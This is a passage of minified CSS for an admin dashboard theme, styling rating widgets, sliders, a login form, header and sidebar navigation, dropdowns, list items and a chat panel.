a.br-active,.br-theme-bars-movie .br-widget a.br-selected,.br-theme-bars-reversed .br-widget a.br-active,.br-theme-bars-reversed .br-widget a.br-selected,.br-theme-bars-horizontal .br-widget a.br-active,.br-theme-bars-horizontal .br-widget a.br-selected{background-color:#007bff}.br-theme-bars-pill .br-widget a{background-color:#66b0ff;color:#007bff}.br-theme-bars-pill .br-widget a.br-active,.br-theme-bars-pill .br-widget a.br-selected{background-color:#007bff}.br-theme-fontawesome-stars .br-widget a.br-active:after,.br-theme-fontawesome-stars .br-widget a.br-selected:after{color:#007bff}.br-theme-css-stars .br-widget a.br-active:after,.br-theme-css-stars .br-widget a.br-selected:after{color:#007bff}.br-theme-bars-square .br-widget a{border:2px solid #66b0ff;color:#2990ff}.br-theme-bars-square .br-widget a.br-active,.br-theme-bars-square .br-widget a.br-selected{border:2px solid #007bff;color:#007bff}.br-theme-fontawesome-stars-o .br-widget a.br-selected:after,.br-theme-fontawesome-stars-o .br-widget a:after,.br-theme-fontawesome-stars-o .br-widget a.br-active:after,.br-theme-fontawesome-stars-o .br-widget a.br-fractional:after{color:#007bff}.range-slider{min-height:200px;display:flex;align-items:center;margin-left:15px}.range-slider b{margin-top:-10px}#RGB{height:10px;background:gray}#RC .slider-selection{background:#FF8282}#RC .slider-handle{background:red}#GC .slider-selection{background:#428041}#GC .slider-handle{background:green}#BC .slider-selection{background:#8283FF}#BC .slider-handle{border-bottom-color:blue}#R,#G,#B{width:300px}.range-slider-contain{position:absolute;bottom:15px}.slider-handle{top:-5px;background-image:linear-gradient(to bottom, #007bff 0%, #007bff 100%);box-shadow:none}.slider-tick,.slider-track{background-image:linear-gradient(to bottom, #BDC3C7 0%, #BDC3C7 100%)}.slider-handle.custom::before{line-height:15px;font-size:35px;color:#007bff}#slider12a .slider-track-high,#slider12c .slider-track-high{background:green}#slider12b .slider-track-low,#slider12c .slider-track-low{background:red}#slider12c .slider-selection{background:yellow}.slider-selection.tick-slider-selection{background-image:linear-gradient(to bottom, #3395ff 0%, #3395ff 100%)}.slider-tick.in-selection{background-image:linear-gradient(to bottom, #3395ff 0%, #3395ff 100%)}.slider.slider-horizontal .slider-track{height:2px}.slider.slider-horizontal .slider-tick,.slider.slider-horizontal .slider-handle{top:-5px;cursor:pointer}.slider.slider-horizontal .slider-track{width:90%;margin-top:-5px;top:50%;left:10px}.auth-wrapper .lavalite-bg{height:100vh;position:relative;width:100%;-webkit-background-size:cover;background-size:cover;background-repeat:no-repeat}.auth-wrapper .lavalite-bg .lavalite-overlay{position:absolute;width:100%;height:100%;top:0;left:0;background:linear-gradient(135deg, rgba(46,52,81,0.4) 0%, rgba(52,40,104,0.95) 100%)}.auth-wrapper .authentication-form{font-size:.9rem;width:70%;display:block;padding:100px 0}.auth-wrapper .authentication-form .logo-centered{width:60px;margin:0 auto;margin-bottom:40px}.auth-wrapper .authentication-form h3{font-size:20px;color:#272d36;margin-bottom:20px}.auth-wrapper .authentication-form .form-group{position:relative}.auth-wrapper .authentication-form .form-group .form-control{padding-left:40px}.auth-wrapper .authentication-form .form-group .form-control ~ i{position:absolute;top:10px;left:15px}.auth-wrapper .authentication-form .sign-btn{margin-top:30px}.auth-wrapper .authentication-form .register{margin-top:30px;text-align:center}body{color:#212121;font-size:.8rem;line-height:1.5;font-weight:400;font-family:"Nunito Sans",sans-serif}.dropdown-toggle:after,.dropdown-toggle::after{display:none}.tooltip{font-family:"Nunito Sans",sans-serif;font-size:12px;font-weight:700}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.progress-sm{height:.5rem}.progress-sm .progress-bar{height:.5rem}.img-thumbnail,.list-thumbnail{border-radius:.1rem;padding:0;border:initial}.list-thumbnail{height:auto;max-width:unset;height:85px;object-fit:cover;width:unset !important}@media only screen and (max-width: 1023px){.list-thumbnail.responsive{width:unset;height:135px}}.list-thumbnail.small{height:60px;font-size:1rem}.list-thumbnail-letters{width:85px;height:85px;background:#090e40;align-items:center;display:flex;justify-content:center;font-size:1.25rem;color:#fff}.list-thumbnail-letters.small{width:60px;height:60px;font-size:1rem}.list-item-heading{font-size:1rem}.flex-grow-1{-webkit-flex-grow:1;-moz-flex-grow:1;-ms-flex-grow:1;flex-grow:1}.dropdown-menu{padding:5px;font-size:12px;background-color:#fff;border-color:transparent;margin:0;width:170px;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08)}.dropdown-menu .dropdown-item{background-color:#fff;padding:8px 15px;line-height:14px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.dropdown-menu .dropdown-item .dropdown-icon{display:inline-block;vertical-align:middle;font-size:16px;margin-right:5px;vertical-align:-2px;color:#9aa0ac}.dropdown-menu .dropdown-item:hover,.dropdown-menu .dropdown-item:focus{background-color:#dee2e6 !important;color:#212121}.dropdown-menu .dropdown-item .badge{width:15px;height:15px;border-radius:50%;text-align:center;padding:0;line-height:15px}.dropdown-menu:after,.dropdown-menu::after{bottom:100%;left:10px;border:solid transparent;content:' ';height:0;width:0;position:absolute;pointer-events:none;border-color:rgba(136,183,213,0);border-bottom-color:#fff;border-width:5px}.dropdown-menu.dropdown-menu-right::after{right:10px;left:auto}.wrapper .header-top{background-color:#fff;z-index:1030;position:relative;padding:15px 0;position:fixed;top:0;width:100%;left:0;padding-left:240px;-webkit-box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04);-moz-box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04);box-shadow:0 1px 15px rgba(0,0,0,0.04),0 1px 6px rgba(0,0,0,0.04)}.wrapper .header-top .top-menu .dropdown{margin-left:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu{margin-top:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid{width:182px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item{display:inline-block;width:40px;height:40px;text-align:center;padding:0;line-height:40px;font-size:18px;color:#5A5A5A}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown{min-width:300px;padding:0}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header{margin:0;padding:15px;font-size:16px;border-bottom:1px solid #f1f1f1}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media{border-bottom:1px solid #eef1f2;padding:10px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd){background:#f8f9fa}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;margin-right:15px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i{color:#fff;text-align:center;font-size:15px;line-height:30px;top:0;height:30px;width:30px;background:#404E67;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img{height:30px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body{font-size:12px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading{color:#444;font-weight:600;letter-spacing:0}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content{color:#868e96}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer{text-align:center;padding:10px 15px}.wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a{color:#212121;font-size:16px}.wrapper .header-top .top-menu .nav-link{width:30px;height:30px;padding:0;text-align:center;line-height:36px;color:#212121;border:none;position:relative;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.wrapper .header-top .top-menu .nav-link:hover,.wrapper .header-top .top-menu .nav-link:focus{background-color:#dee2e6;color:#333}.wrapper .header-top .top-menu .nav-link i{font-size:16px}.wrapper .header-top .top-menu .nav-link .badge{right:-1px;position:absolute;top:-4px;padding:3px;width:17px;font-size:11px;font-weight:800;color:#fff;border-radius:100px;-webkit-border-radius:100px;-moz-border-radius:100px}.wrapper .header-top .top-menu .avatar{color:#4c5667;font-weight:600;width:30px;height:30px;line-height:30px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;display:inline-block;background:#ced4da no-repeat center/cover;position:relative;vertical-align:bottom;font-size:.875rem;user-select:none}.wrapper .header-top .top-menu .mobile-nav-toggle{border:none;position:relative;margin-right:5px}.wrapper .header-top .top-menu .mobile-nav-toggle span{height:2px;width:20px;background-color:#4a5361;display:inline-block;border-radius:4px;position:absolute;top:14px;left:5px}.wrapper .header-top .top-menu .mobile-nav-toggle span::before,.wrapper .header-top .top-menu .mobile-nav-toggle span::after{content:"";height:2px;width:20px;border-radius:4px;background-color:#4a5361;display:inline-block;position:absolute}.wrapper .header-top .top-menu .mobile-nav-toggle span::before{left:0;top:-6px}.wrapper .header-top .top-menu .mobile-nav-toggle span::after{left:0;bottom:-6px}.wrapper .header-top .top-menu .header-search{padding:0 10px;position:relative}.wrapper .header-top .top-menu .header-search .input-group{border-radius:20px;-webkit-border-radius:20px;-moz-border-radius:20px;margin-bottom:0}.wrapper .header-top .top-menu .header-search .input-group .input-group-addon{color:#404E67;padding:2px 10px 2px 0px;font-size:16px;cursor:pointer}.wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close{padding:2px 0px 2px 10px;display:none}.wrapper .header-top .top-menu .header-search .input-group .form-control{padding:0 10px;min-height:auto;width:0;border:none;color:#353c4e;background-color:transparent;border-radius:0px;-webkit-border-radius:0px;-moz-border-radius:0px}.wrapper .header-top .top-menu .header-search.open .input-group{background-color:#e4e4e4}.wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close{display:block}@media only screen and (max-width: 1023px){.wrapper .header-top{padding-left:0}}.wrapper .header-top[header-theme="light"]{background:#fff}.wrapper .header-top[header-theme="dark"]{background:#272d36}.wrapper .header-top[header-theme="blue"]{background:#007bff}.wrapper .header-top[header-theme="red"]{background:#f5365c}.wrapper .header-top[header-theme="orange"]{background:#fb6340}.wrapper .header-top[header-theme="green"]{background:#2dce89}.wrapper .header-top[header-theme="purple"]{background:#BF55EC}.wrapper .header-top[header-theme="blue"] .top-menu .nav-link,.wrapper .header-top[header-theme="red"] .top-menu .nav-link,.wrapper .header-top[header-theme="orange"] .top-menu .nav-link,.wrapper .header-top[header-theme="green"] .top-menu .nav-link,.wrapper .header-top[header-theme="purple"] .top-menu .nav-link,.wrapper .header-top[header-theme="dark"] .top-menu .nav-link{color:#fff;background-color:transparent}.wrapper .header-top[header-theme="blue"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="red"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="orange"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="green"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="purple"] .top-menu .header-search .input-group .input-group-addon,.wrapper .header-top[header-theme="dark"] .top-menu .header-search .input-group .input-group-addon{color:#fff}.wrapper .page-wrap{position:relative}.wrapper .page-wrap .app-sidebar{position:fixed;left:0;top:0;width:240px;height:100vh;background-color:#fff;z-index:1040;-webkit-box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);-moz-box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);box-shadow:0 3px 30px rgba(0,0,0,0.1),0 3px 20px rgba(0,0,0,0.1);-moz-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-o-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-webkit-transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-moz-transform:translate3d(0, 0, 0);-o-transform:translate3d(0, 0, 0);-ms-transform:translate3d(0, 0, 0);-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);white-space:nowrap;visibility:visible}.wrapper .page-wrap .app-sidebar .sidebar-header{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-justify-content:space-between;-moz-justify-content:space-between;-ms-justify-content:space-between;justify-content:space-between;-ms-flex-pack:space-between;padding:13px 15px;height:60px}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand{display:block;font-size:22px;font-weight:700;color:#212529}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img{display:inline-block;width:30px}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon{border:none}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:none;border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:inline-block}}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}}.wrapper .page-wrap .app-sidebar .sidebar-content{position:relative;height:-webkit-calc(100vh - 60px);height:-moz-calc(100vh - 60px);height:calc(100vh - 60px);overflow:auto;z-index:4}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a{display:block;overflow:hidden;padding:15px 5px;margin-left:15px;margin-right:15px;color:#545454;position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i{font-size:20px;margin-right:10px;display:inline-block;vertical-align:-4px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{font-size:13px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge{position:absolute;right:30px;text-align:center;top:16px;vertical-align:middle;white-space:nowrap;opacity:1;visibility:visible;border-radius:4px;font-size:75%;padding:4px 7px;margin-right:5px;font-weight:800;color:#fff;-webkit-transition:opacity 0.3s linear;transition:opacity 0.3s linear;text-transform:uppercase}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled{opacity:0.5;cursor:not-allowed !important}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before{content:"\e844";font-family:"iconkit";position:absolute;right:3px;top:15px;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content{background-color:#f3f3f3}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item{padding:10px 5px;font-size:13px;padding-left:50px;margin:0}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active{color:#eb525d}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before{content:"\e844";font-family:"iconkit";position:absolute;right:20px;top:10px;display:inline-block;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item{padding-left:70px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;position:absolute;top:10px;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;top:10px;position:absolute;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{font-size:14px;font-weight:400;opacity:1;padding:8px 20px 8px;text-transform:capitalize;visibility:visible;width:100%;color:#999;background:#333e52}.wrapper .page-wrap .app-sidebar.colored .sidebar-header{background-color:#272d36}.wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content{background-color:#404E67}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item{border-color:rgba(243,243,243,0.15)}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i{color:#bcc8d8}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content{background-color:#4a5872}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after,.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after{background-color:#eb525d}.wrapper .page-wrap .app-sidebar.hide-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-moz-transform:translate3d(-100%, 0, 0);-o-transform:translate3d(-100%, 0, 0);-ms-transform:translate3d(-100%, 0, 0);-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1)}}.wrapper .page-wrap .main-content{padding:30px 0;background-color:#F6F7FB;min-height:calc(100vh - 120px);margin-top:60px;padding-right:15px;padding-left:255px;-moz-transition:all 0.3s ease;-o-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}@media only screen and (max-width: 1023px){.wrapper .page-wrap .main-content{padding-left:0;padding-right:0}}.wrapper .page-wrap .main-content .page-header{margin-bottom:30px}.wrapper .page-wrap .main-content .page-header .page-header-title i{float:left;width:40px;height:40px;border-radius:5px;margin-right:20px;vertical-align:middle;font-size:22px;color:#fff;display:inline-flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);-moz-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);box-shadow:0 2px 12px -3px rgba(0,0,0,0.5)}.wrapper .page-wrap .main-content .page-header .page-header-title h5{margin-bottom:0;font-weight:700;font-size:18px}.wrapper .page-wrap .main-content .page-header .page-header-title h5+span{font-size:13px}.wrapper .page-wrap .main-content .page-header .breadcrumb-container{float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb{background-color:transparent;margin-bottom:0;float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a{color:#212121}.wrapper .page-wrap .main-content .card .card-body .sub-title{font-size:14px;border-bottom:1px solid rgba(204,204,204,0.35);padding-bottom:10px;margin-bottom:20px;color:#2c3e50}.wrapper .page-wrap .main-content .card .card-body code{background-color:#eee;margin:5px;display:inline-block;padding:1px 6px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item{padding:13px 20px;border:1px solid #ededed;position:relative;border-left:0;border-right:0;height:50px;overflow:hidden;-moz-transition:transform 0.2s ease-in-out;-o-transition:transform 0.2s ease-in-out;-webkit-transition:transform 0.2s ease-in-out;transition:transform 0.2s ease-in-out}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:flex-start;-moz-justify-content:flex-start;-ms-justify-content:flex-start;justify-content:flex-start;-ms-flex-pack:flex-start;position:relative}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control{margin:0;margin-top:-2px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title{width:100%;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a{color:#3e5569;font-weight:600;display:block;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;width:calc(100% - 50px)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions{position:absolute;right:0px;top:50%;opacity:0;display:none;z-index:3;padding-left:10px;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a{width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:32px;color:#999;display:inline-block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus{background-color:#dee2e6;color:#333}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap{margin-top:5px;opacity:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p{margin:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus{background-color:#f9f9f9}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions{opacity:1;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened{height:auto;background-color:#fff;border:none;z-index:5;-webkit-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-transform:scale(1.01);-o-transform:scale(1.01);-ms-transform:scale(1.01);-webkit-transform:scale(1.01);transform:scale(1.01)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a{font-size:16px;color:#263238}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap{opacity:1}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item+.list-item{margin-top:-1px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child{border-bottom:none}.wrapper .page-wrap .footer{background:#fff;padding:20px 30px;border-top:1px solid rgba(0,0,0,0.04);font-size:calc(0.875rem - 0.05rem);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}@media only screen and (min-width: 1024px){.wrapper .page-wrap .footer{padding-left:270px}}.wrapper .page-wrap .right-sidebar{position:fixed;top:60px;right:0;width:240px;background:#fff;height:calc(100vh - 60px);border-left:1px solid #eef1f2;border-top:1px solid #eef1f2;padding:1.07143em;z-index:9;-moz-transform:translateX(100%);-o-transform:translateX(100%);-ms-transform:translateX(100%);-webkit-transform:translateX(100%);transform:translateX(100%);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6{color:#353c4e}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group{position:relative}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control{padding-right:30px;border-radius:50px;-webkit-border-radius:50px;-moz-border-radius:50px;padding-left:15px}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i{position:absolute;top:8px;right:10px;font-size:16px;color:#bbb}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group{margin-left:-1.07143em;margin-right:-1.07143em}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item{background:none;border:0;border-top:1px solid #eef1f2;padding:1em 1.07143em;overflow:hidden;color:#999;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure{margin:0;position:relative;margin-right:10px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img{width:40px;height:40px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span{line-height:1em;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:end;-moz-justify-content:end;-ms-justify-content:end;justify-content:end;-ms-flex-pack:end;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name{font-size:14px;color:#444;margin-bottom:5px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after{position:absolute;top:calc(50% + 15px);left:0;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel{position:fixed;top:calc(100vh);right:calc( 240px + 15px);width:310px;z-index:9999;-moz-transform:translateY(-100%) translateX(14.0625rem);-o-transform:translateY(-100%) translateX(14.0625rem);-ms-transform:translateY(-100%) translateX(14.0625rem);-webkit-transform:translateY(-100%) translateX(14.0625rem);transform:translateY(-100%) translateX(14.0625rem)}.wrapper .page-wrap .chat-panel .card{border:none;margin-bottom:1.42857em;border-radius:10px;-webkit-border-radius:10px;-moz-border-radius:10px;-webkit-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);-moz-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);box-shadow:0 4px 8px 3px rgba(0,0,0,0.2)}.wrapper .page-wrap .chat-panel .card .card-header{background:none;padding:1.07143em 1.42857em;font-size:1.14286em;border-bottom:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-body{padding:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages{position:relative;max-height:21.42857em;overflow-y:scroll;margin-top:-1.07143em;margin-right:-1.07143em;margin-left:-1.07143em;padding-top:1.07143em;padding-right:1.07143em;padding-left:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages .message{margin:0.71429em 0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child{margin-top:0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure{-webkit-box-ordinal-group:3;-ms-flex-order:2;margin:0;position:relative;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img{width:30px;height:30px}.wrapper .page-wrap .chat-panel .card .card-body .messages .message 